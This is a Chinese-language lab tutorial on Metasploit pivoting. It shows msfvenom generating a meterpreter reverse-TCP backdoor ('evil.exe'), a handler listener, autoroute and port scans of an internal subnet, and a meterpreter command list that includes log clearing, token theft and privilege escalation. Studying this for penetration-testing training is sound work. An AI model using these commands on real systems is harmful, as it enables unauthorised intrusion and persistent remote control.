跳板攻击之: MSF 添加路由方式渗透内网

跳板攻击之: MSF 添加路由方式渗透内网

1 Metasploit 跳板攻击: 添加路由方式原理

通过网络层可达实现跳板攻击
缺点是利用环境苛刻，只能在 Metasploit 中使用。易被防火墙拦截流量。

2 实验环境

2.1 建立 meterpreter 反向连接

生成 Metaspolit 后门程序

msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.0.2 lport=4444 -f exe > /var/www/html/evil.exe

kali 配置监听 meterpreter 反向连接

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.2

run

WEB Server 下载 Metaspolit 后门程序，并打开程序
meterpreter 反向连接建立成功

2.2 查看当前系统信息

查看当前系统路由信息，发现存在新网段：10.2.1.0/24
```
ipconfig

route list
```
添加去往该目标网段的路由
```
run post/multi/manage/autoroute

run autoroute -p
```
查看添加的路由，下一跳指向 session 1

2.3 利用增加的路由扫描新网段的主机

使用 MSF 端口扫描模块进行扫描

use auxiliary/scanner/portscan/tcp

set ports 135,139,445,23,80,8080

set rhosts 10.2.1.1-10.2.1.3

NMAP 扫描：由结果可知端口被防火墙过滤

db_nmap -sV -p23,80 10.2.1.3

# 如果扫描的款数据库未连接，需要先执行 msfdb init 后，再重新打开 msfconsole

3 meterpreter 基础命令

Stdapi: Networking Commands

===========================

Command       Description

-------       -----------

arp           Display the host ARP cache

getproxy      Display the current proxy configuration

ifconfig      Display interfaces

ipconfig      Display interfaces

netstat       Display the network connections

portfwd       Forward a local port to a remote service

resolve       Resolve a set of host names on the target

route         View and modify the routing table

Stdapi: System Commands

=======================

Command       Description

-------       -----------

clearev       Clear the event log

drop_token    Relinquishes any active impersonation token.

execute       Execute a command

getenv        Get one or more environment variable values

getpid        Get the current process identifier

getprivs      Attempt to enable all privileges available to the current process 尽可能提升权限

getsid        Get the SID of the user that the server is running as

getuid        Get the user that the server is running as 查看当前用户

kill          Terminate a process

localtime     Displays the target system local date and time

pgrep         Filter processes by name

pkill         Terminate processes by name

ps            List running processes 列出进程

reboot        Reboots the remote computer

reg           Modify and interact with the remote registry

rev2self      Calls RevertToSelf() on the remote machine

shell         Drop into a system command shell

shutdown      Shuts down the remote computer

steal_token   Attempts to steal an impersonation token from the target process

suspend       Suspends or resumes a list of processes

sysinfo       Gets information about the remote system, such as OS 查看系统信息

migrate       Migrate the server to another process 注入进程

getsystem     Attempt to elevate your privilege to that of local system. 通过各种攻击向量来提升本地系统权限

巴特西

跳板攻击之: MSF 添加路由方式渗透内网

跳板攻击之: MSF 添加路由方式渗透内网

1 Metasploit 跳板攻击: 添加路由方式原理

2 实验环境

2.1 建立 meterpreter 反向连接

2.2 查看当前系统信息

2.3 利用增加的路由扫描新网段的主机

3 meterpreter 基础命令

最新文章

热门文章